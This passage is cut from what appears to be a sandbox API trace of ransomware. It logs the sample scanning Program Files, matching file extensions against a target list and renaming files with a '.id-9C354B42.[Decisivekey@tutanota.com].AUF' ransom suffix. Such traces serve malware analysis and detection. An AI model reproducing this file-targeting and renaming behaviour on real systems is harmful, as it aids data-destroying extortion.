Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.537] lstrlenW (lpString=".zip") returned 4 [0214.537] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0214.537] lstrlenW (lpString=".rar") returned 4 [0214.537] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0214.537] lstrlenW (lpString=".bz2") returned 4 [0214.537] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0214.537] lstrlenW (lpString=".7z") returned 3 [0214.537] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.537] lstrlenW (lpString=".dbf") returned 4 [0214.537] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.537] lstrlenW (lpString=".1cd") returned 4 [0214.537] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0214.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0214.537] lstrlenW (lpString=".jpg") returned 4 [0214.537] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0214.537] lstrcmpiW (lpString1=".inc", lpString2=".AUF") returned 1 [0214.537] lstrlenW (lpString="adojavas.inc") returned 12 [0214.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.605] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=14610) returned 1 [0214.605] CloseHandle (hObject=0x1e4) returned 1 [0214.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0214.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.606] lstrlenW (lpString=".doc") returned 4 [0214.606] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0214.606] lstrlenW (lpString=".docx") returned 5 [0214.606] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0214.606] lstrlenW (lpString=".pdf") returned 4 [0214.606] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0214.606] lstrlenW (lpString=".xls") returned 4 [0214.606] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0214.606] lstrlenW (lpString=".xlsx") returned 5 [0214.606] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0214.606] lstrlenW (lpString=".ppt") returned 4 [0214.607] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".zip") returned 4 [0214.607] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString=".rar") returned 4 [0214.607] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString=".bz2") returned 4 [0214.607] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0214.607] lstrlenW (lpString=".7z") returned 3 [0214.607] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".dbf") returned 4 [0214.607] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".1cd") returned 4 [0214.607] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".jpg") returned 4 [0214.607] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".doc") returned 4 [0214.607] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0214.607] lstrlenW (lpString=".docx") returned 5 [0214.607] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0214.607] lstrlenW (lpString=".pdf") returned 4 [0214.607] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString=".xls") returned 4 [0214.607] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString=".xlsx") returned 5 [0214.607] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0214.607] lstrlenW (lpString=".ppt") returned 4 [0214.607] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".zip") returned 4 [0214.607] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString=".rar") returned 4 [0214.607] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0214.607] lstrlenW (lpString=".bz2") returned 4 [0214.607] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0214.607] lstrlenW (lpString=".7z") returned 3 [0214.607] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".dbf") returned 4 [0214.607] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".1cd") returned 4 [0214.607] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0214.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0214.607] lstrlenW (lpString=".jpg") returned 4 [0214.607] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0214.608] lstrcmpiW (lpString1=".wmv", lpString2=".AUF") returned 1 [0214.608] lstrlenW (lpString="flower_trans_MATTE_PAL.wmv") returned 26 [0214.608] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0214.982] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=165208) returned 1 [0214.984] CloseHandle (hObject=0x168) returned 1 [0214.985] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0214.986] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.997] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.999] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.999] lstrlenW (lpString=".doc") returned 4 [0215.000] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.001] lstrlenW (lpString=".docx") returned 5 [0215.002] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.003] lstrlenW (lpString=".pdf") returned 4 [0215.076] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.076] lstrlenW (lpString=".xls") returned 4 [0215.076] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.079] lstrlenW (lpString=".xlsx") returned 5 [0215.081] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.081] lstrlenW (lpString=".ppt") returned 4 [0215.082] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.083] lstrlenW (lpString=".zip") returned 4 [0215.083] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.083] lstrlenW (lpString=".rar") returned 4 [0215.083] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.083] lstrlenW (lpString=".bz2") returned 4 [0215.083] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.083] lstrlenW (lpString=".7z") returned 3 [0215.083] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.083] lstrlenW (lpString=".dbf") returned 4 [0215.083] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString=".1cd") returned 4 [0215.084] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString=".jpg") returned 4 [0215.084] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString=".doc") returned 4 [0215.084] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString=".docx") returned 5 [0215.084] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.084] lstrlenW (lpString=".pdf") returned 4 [0215.084] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString=".xls") returned 4 [0215.084] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.084] lstrlenW (lpString=".xlsx") returned 5 [0215.084] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.084] lstrlenW (lpString=".ppt") returned 4 [0215.084] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString=".zip") returned 4 [0215.084] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.084] lstrlenW (lpString=".rar") returned 4 [0215.084] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString=".bz2") returned 4 [0215.084] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString=".7z") returned 3 [0215.084] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString=".dbf") returned 4 [0215.084] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString=".1cd") returned 4 [0215.084] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0215.084] lstrlenW (lpString=".jpg") returned 4 [0215.084] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.084] lstrcmpiW (lpString1=".png", lpString2=".AUF") returned 1 [0215.084] lstrlenW (lpString="Perf_Scenes_Mask1.png") returned 21 [0215.084] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0215.708] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=6922) returned 1 [0215.708] CloseHandle (hObject=0x20c) returned 1 [0215.708] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0215.708] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.708] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.709] lstrlenW (lpString=".doc") returned 4 [0215.709] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.709] lstrlenW (lpString=".docx") returned 5 [0215.709] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0215.709] lstrlenW (lpString=".pdf") returned 4 [0215.709] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.709] lstrlenW (lpString=".xls") returned 4 [0215.709] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.709] lstrlenW (lpString=".xlsx") returned 5 [0215.709] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0215.709] lstrlenW (lpString=".ppt") returned 4 [0215.709] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.709] lstrlenW (lpString=".zip") returned 4 [0215.709] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.709] lstrlenW (lpString=".rar") returned 4 [0215.709] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.709] lstrlenW (lpString=".bz2") returned 4 [0215.709] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.709] lstrlenW (lpString=".7z") returned 3 [0215.709] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.709] lstrlenW (lpString=".dbf") returned 4 [0215.709] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.709] lstrlenW (lpString=".1cd") returned 4 [0215.709] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.709] lstrlenW (lpString=".jpg") returned 4 [0215.709] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.710] lstrlenW (lpString=".doc") returned 4 [0215.710] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.710] lstrlenW (lpString=".docx") returned 5 [0215.710] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0215.710] lstrlenW (lpString=".pdf") returned 4 [0215.710] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.710] lstrlenW (lpString=".xls") returned 4 [0215.710] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.710] lstrlenW (lpString=".xlsx") returned 5 [0215.710] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0215.710] lstrlenW (lpString=".ppt") returned 4 [0215.710] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.710] lstrlenW (lpString=".zip") returned 4 [0215.710] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.710] lstrlenW (lpString=".rar") returned 4 [0215.710] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.710] lstrlenW (lpString=".bz2") returned 4 [0215.710] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.710] lstrlenW (lpString=".7z") returned 3 [0215.710] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.710] lstrlenW (lpString=".dbf") returned 4 [0215.710] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.710] lstrlenW (lpString=".1cd") returned 4 [0215.710] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0215.710] lstrlenW (lpString=".jpg") returned 4 [0215.710] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.711] lstrcmpiW (lpString1=".wmv", lpString2=".AUF") returned 1 [0215.711] lstrlenW (lpString="SportsScenesBackground_PAL.wmv") returned 30 [0215.711] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0215.939] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3037684) returned 1 [0215.939] CloseHandle (hObject=0x194) returned 1 [0215.939] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0x20 [0215.939] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.939] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.939] lstrlenW (lpString=".doc") returned 4 [0215.939] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.939] lstrlenW (lpString=".docx") returned 5 [0215.939] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.939] lstrlenW (lpString=".pdf") returned 4 [0215.939] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.939] lstrlenW (lpString=".xls") returned 4 [0215.939] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.939] lstrlenW (lpString=".xlsx") returned 5 [0215.939] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.939] lstrlenW (lpString=".ppt") returned 4 [0215.939] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.939] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.939] lstrlenW (lpString=".zip") returned 4 [0215.939] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.939] lstrlenW (lpString=".rar") returned 4 [0215.939] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.939] lstrlenW (lpString=".bz2") returned 4 [0215.940] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString=".7z") returned 3 [0215.940] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".dbf") returned 4 [0215.940] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".1cd") returned 4 [0215.940] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".jpg") returned 4 [0215.940] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".doc") returned 4 [0215.940] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString=".docx") returned 5 [0215.940] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.940] lstrlenW (lpString=".pdf") returned 4 [0215.940] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString=".xls") returned 4 [0215.940] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.940] lstrlenW (lpString=".xlsx") returned 5 [0215.940] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.940] lstrlenW (lpString=".ppt") returned 4 [0215.940] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".zip") returned 4 [0215.940] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.940] lstrlenW (lpString=".rar") returned 4 [0215.940] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString=".bz2") returned 4 [0215.940] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString=".7z") returned 3 [0215.940] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".dbf") returned 4 [0215.940] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".1cd") returned 4 [0215.940] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81 [0215.940] lstrlenW (lpString=".jpg") returned 4 [0215.940] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.997] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.997] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, 